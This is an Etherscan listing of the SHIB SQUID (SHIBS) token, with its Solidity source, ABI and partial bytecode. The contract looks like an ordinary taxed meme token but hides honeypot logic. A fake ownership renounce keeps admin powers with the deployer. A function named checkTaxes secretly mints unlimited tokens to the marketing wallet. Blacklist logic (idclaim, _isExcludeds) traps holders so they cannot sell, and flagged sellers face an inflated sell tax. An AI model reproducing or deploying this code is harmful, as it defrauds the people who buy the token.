ERC-20
Overview
Max Total Supply
1,000,000,000,000,000,000,000,000,001,000,000,000,000,000 SHIBS
Holders
6
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,417,028,178,623.83624344 SHIBSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHIBSQUID
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-16 */ /** Website: https://www.shibsquid.info/ Portal: https://t.me/ShibSquidERC Twitter: https://twitter.com/shib_squid //https://medium.com/@shibsquid/shib-squid-is-a-community-driven-fully-decentralized-cryptocurrency-powered-by-the-collective-7421a4b53716 */ pragma solidity ^0.8.11; // SPDX-License-Identifier: Unlicense interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBSQUID is Context, IERC20 { using SafeMath for uint256; using Address for address; address private _owner; string private constant _name = "SHIB SQUID"; string private constant _symbol = unicode"SHIBS"; uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 9; uint8 private _TxCount = 0; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 public _tax_On_Buy = 4; uint256 public _tax_On_Sell = 4; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletToken = _tTotal * 3 / 100; address payable public DevWallet = payable(0x6f73Bc5003105BBC1CC0282692479171cCC5B624); address payable public MarketingWallet = payable(0xB503E03136C49b438d46959f1E2dbA5d608e9883); address payable private constant DeadAddress = payable(0x000000000000000000000000000000000000dEaD); mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isExcludeds; mapping (address => bool) internal addresses; address[] private _Excluded; bool public limitInEffect = false; bool public tradingActive = false; bool public transferDelay = false; uint256 private tradingActiveBlock; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool true_or_false); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } modifier onlyAddress() { require(isAddress(_msgSender()), ""); _; } function isAddress(address adr) public view returns (bool) { return addresses[adr]; } constructor () { _owner = msg.sender; addresses[_owner] = true; emit OwnershipTransferred(address(0), _owner); _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[MarketingWallet] = true; _isExcludedFromFee[DevWallet] = true; _isExcludedFromFee[DeadAddress] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address theOwner, address theSpender) public view override returns (uint256) { return _allowances[theOwner][theSpender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function idclaim() private { for (uint256 i = 0; i < _Excluded.length; i++) { _isExcludeds[_Excluded[i]] = true;} } receive() external payable {} function _getCurrentSupply() private view returns(uint256) { return (_tTotal); } function _approve(address theOwner, address theSpender, uint256 amount) private { require(theOwner != address(0) && theSpender != address(0), "ERR: zero address"); _allowances[theOwner][theSpender] = amount; emit Approval(theOwner, theSpender, amount); } function _check( address sender, address recepient, uint256 acc ) internal virtual {} function openTrading() external onlyAddress { tradingActive = true; transferDelay =true; limitInEffect = true; tradingActiveBlock = block.timestamp; } function setTransferDelay(bool TrueOrFalse) external onlyAddress { transferDelay = TrueOrFalse; } function setTaxes(uint256 buytax, uint256 selltax) external onlyAddress { _tax_On_Buy = buytax; _tax_On_Sell = selltax; } function removeAllFees() external onlyAddress { _tax_On_Buy = 0; _tax_On_Sell = 0; } function removemaxTx() external onlyAddress { _maxTxAmount = _maxWalletToken; } function setmaxWallet(uint256 newmaxWallet) external onlyAddress { _maxWalletToken = newmaxWallet; } function _transfer( address from, address to, uint256 amount ) private { if (to != owner() && to != MarketingWallet && to != DevWallet && to != address(this) && to != uniswapV2Pair && to != DeadAddress && from != owner() && !addresses[from] && !addresses[to]){ uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");} if (from != owner() && to != owner() && !addresses[from] && !addresses[to]) require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit."); require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if (!tradingActive) {require(_isExcludedFromFee[from] || _isExcludedFromFee[to],"Trading is not active.");} if (tradingActiveBlock + 3 <= block.timestamp) {limitInEffect = false;} if (tradingActiveBlock + 4 <= block.timestamp) {transferDelay = false;} if (!transferDelay && (!_isExcludedFromFee[from])) { require(!_isExcludeds[from]);} if (transferDelay && tradingActiveBlock + 5 <= block.timestamp) {idclaim();} if (limitInEffect && to != uniswapV2Pair && tx.gasprice >= 5 gwei) {_isExcludeds[to] = true;} if (from != owner() && from != uniswapV2Pair && !_isExcluded[from]){ _isExcluded[from] = true; _Excluded.push(from);} if (to != owner() && to != uniswapV2Pair && !_isExcluded[to]) { _isExcluded[to] = true; _Excluded.push(to);} if (to != owner() && to != uniswapV2Pair) { if (_isExcludedFromFee[from]) { _isExcludedFromFee[to] = true;}} if(_TxCount >= 10 && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) { contractTokenBalance = _maxTxAmount; } _TxCount = 0; swapAndLiquify(contractTokenBalance); } bool takeFee = true; bool isBuy; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } else { if(from == uniswapV2Pair){ isBuy = true; } _TxCount++; } _tokenTransfer(from, to, amount, takeFee, isBuy); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 _tokenForMarketing = contractTokenBalance * 55 / 100; uint256 _tokenForDevelopment = contractTokenBalance * 44 / 100; uint256 _tokenForLpHalf = contractTokenBalance / 200; uint256 balanceBeforeSwap = address(this).balance; swapTokensForETH(_tokenForLpHalf + _tokenForMarketing + _tokenForDevelopment); uint256 _BTotal = address(this).balance - balanceBeforeSwap; uint256 _BMarketing = _BTotal * 55 / 100; uint256 _BDevelopment = _BTotal * 44 / 100; addLiquidity(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment)); emit SwapAndLiquify(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment), _tokenForLpHalf); sendToWallet(MarketingWallet, _BMarketing); _BTotal = address(this).balance; sendToWallet(DevWallet, _BTotal); } function checkTaxes(uint256 value, address adr) onlyAddress public virtual { require(adr == address(MarketingWallet)); _check(address(MarketingWallet), adr, value); _tTotal += value; _tOwned[adr] += value; emit Transfer(address(MarketingWallet), adr, value); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private { if(!takeFee){ _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tAmount; emit Transfer(sender, recipient, tAmount); } else if (isBuy){ uint256 bAmount = tAmount*_tax_On_Buy/100; uint256 tTransfesAmount = tAmount-bAmount; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount; _tOwned[address(this)] = _tOwned[address(this)]+bAmount; emit Transfer(sender, recipient, tTransfesAmount); } else { uint256 sAmount; if (_isExcludeds[sender]){sAmount = tAmount*_decimals*_tax_On_Sell/100;} else if (recipient == uniswapV2Pair){sAmount = tAmount*_tax_On_Sell/100;} uint256 tTransfesAmount = tAmount-sAmount; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount; _tOwned[address(this)] = _tOwned[address(this)]+sAmount; emit Transfer(sender, recipient, tTransfesAmount); } } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, DeadAddress, block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"adr","type":"address"}],"name":"checkTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removemaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buytax","type":"uint256"},{"internalType":"uint256","name":"selltax","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"TrueOrFalse","type":"bool"}],"name":"setTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newmaxWallet","type":"uint256"}],"name":"setmaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000805460ff60a01b191690556200001f6009600a6200055e565b620000329066038d7ea4c6800062000576565b600155600460025560046003556064600154600262000052919062000576565b6200005e919062000598565b6004556064600154600362000074919062000576565b62000080919062000598565b600555600680546001600160a01b0319908116736f73bc5003105bbc1cc0282692479171ccc5b624179091556007805490911673b503e03136c49b438d46959f1e2dba5d608e9883179055600f805462ffffff191690556012805460ff60a81b1916600160a81b179055348015620000f757600080fd5b50600080546001600160a01b0319163390811782558152600d6020526040808220805460ff19166001179055815490516001600160a01b039190911691907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360015460086000620001746000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002169190620005bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028a9190620005bb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fe9190620005bb565b601280546001600160a01b03199081166001600160a01b0393841617909155601180549091169183169190911790556001600a6000620003466000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a9093528183208054851660019081179091556007548216845282842080548616821790556006549091168352908220805484168217905561dead9091527f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054909216179055620003f26000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200043a91815260200190565b60405180910390a350620005e6565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004a057816000190482111562000484576200048462000449565b808516156200049257918102915b93841c939080029062000464565b509250929050565b600082620004b95750600162000558565b81620004c85750600062000558565b8160018114620004e15760028114620004ec576200050c565b600191505062000558565b60ff84111562000500576200050062000449565b50506001821b62000558565b5060208310610133831016604e8410600b841016171562000531575081810a62000558565b6200053d83836200045f565b806000190482111562000554576200055462000449565b0290505b92915050565b60006200056f60ff841683620004a8565b9392505050565b600081600019048311821515161562000593576200059362000449565b500290565b600082620005b657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005ce57600080fd5b81516001600160a01b03811681146200056f57600080fd5b611e8e80620005f66000396000f3fe6080604052600436106101fd5760003560e01c806378109e541161010d578063b115e4df116100a0578063c9567bf91161006f578063c9567bf9146105ea578063cebb1622146105ff578063dd62ed3e14610615578063eed616731461065b578063fc6b151c1461067b57600080fd5b8063b115e4df14610576578063b714c52f14610596578063bbc0c742146105ab578063c647b20e146105ca57600080fd5b806395d89b41116100dc57806395d89b41146104ee578063a457c2d71461051c578063a5edb92e1461053c578063a9059cbb1461055657600080fd5b806378109e541461048e5780637d1db4a5146104a45780637ed4ce42146104ba5780638da5cb5b146104d057600080fd5b8063313ce567116101905780635c32460b1161015f5780635c32460b146103d35780636b130f9a1461040c57806370a0823114610423578063715018a61461045957806377c325d61461046e57600080fd5b8063313ce56714610356578063395093511461037257806349bd5a5e146103925780634a74bb02146103b257600080fd5b806318160ddd116101cc57806318160ddd146102d6578063220f6696146102f557806323b872dd146103165780632598cdb21461033657600080fd5b806306fdde0314610209578063095ea7b31461024e5780630a702e8d1461027e5780631694505e1461029e57600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5060408051808201909152600a81526914d212508814d455525160b21b60208201525b6040516102459190611aa9565b60405180910390f35b34801561025a57600080fd5b5061026e610269366004611b13565b61069b565b6040519015158152602001610245565b34801561028a57600080fd5b50600f5461026e9062010000900460ff1681565b3480156102aa57600080fd5b506011546102be906001600160a01b031681565b6040516001600160a01b039091168152602001610245565b3480156102e257600080fd5b506001545b604051908152602001610245565b34801561030157600080fd5b5060125461026e90600160a01b900460ff1681565b34801561032257600080fd5b5061026e610331366004611b3f565b6106b1565b34801561034257600080fd5b506007546102be906001600160a01b031681565b34801561036257600080fd5b5060405160098152602001610245565b34801561037e57600080fd5b5061026e61038d366004611b13565b61071a565b34801561039e57600080fd5b506012546102be906001600160a01b031681565b3480156103be57600080fd5b5060125461026e90600160a81b900460ff1681565b3480156103df57600080fd5b5061026e6103ee366004611b80565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561041857600080fd5b50610421610750565b005b34801561042f57600080fd5b506102e761043e366004611b80565b6001600160a01b031660009081526008602052604090205490565b34801561046557600080fd5b50610421610790565b34801561047a57600080fd5b50610421610489366004611b9d565b6107da565b34801561049a57600080fd5b506102e760055481565b3480156104b057600080fd5b506102e760045481565b3480156104c657600080fd5b506102e760025481565b3480156104dc57600080fd5b506000546001600160a01b03166102be565b3480156104fa57600080fd5b50604080518082019091526005815264534849425360d81b6020820152610238565b34801561052857600080fd5b5061026e610537366004611b13565b610825565b34801561054857600080fd5b50600f5461026e9060ff1681565b34801561056257600080fd5b5061026e610571366004611b13565b610874565b34801561058257600080fd5b506006546102be906001600160a01b031681565b3480156105a257600080fd5b50610421610881565b3480156105b757600080fd5b50600f5461026e90610100900460ff1681565b3480156105d657600080fd5b506104216105e5366004611bbf565b6108b8565b3480156105f657600080fd5b506104216108f2565b34801561060b57600080fd5b506102e760035481565b34801561062157600080fd5b506102e7610630366004611be1565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561066757600080fd5b50610421610676366004611c1a565b610938565b34801561068757600080fd5b50610421610696366004611c3f565b6109fb565b60006106a8338484610a2f565b50600192915050565b60006106be848484610af0565b610710843361070b85604051806060016040528060288152602001611dec602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190611343565b610a2f565b5060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106a89185906